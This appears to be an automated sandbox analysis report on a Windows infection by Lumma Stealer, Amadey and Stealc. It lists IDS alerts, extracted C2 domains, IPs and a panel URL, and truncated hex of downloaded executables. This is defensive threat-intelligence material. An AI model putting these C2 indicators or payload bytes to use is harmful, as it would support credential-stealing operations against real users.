Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.4:62058 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.4:57732 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:61205 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:49546 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:64789 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49823 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:50943 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:57024 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:56653 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.4:58400 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49864 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49886 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49893
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.4:49928 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:60769 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:52154 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:64786 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.4:62876 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:56494 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:59881 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.4:60837 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50025 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50178 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49766
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.4:56391 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49769 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49778 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49778 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49835 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49845 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49845 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49983 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49983 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50001 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50001 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50023 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49847 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49847 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50089 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49976 -> 23.197.127.21:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: decrypter.exe.10.dr

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 01:13:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 01:13:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 01:13:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 01:13:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 01:13:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 01:13:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 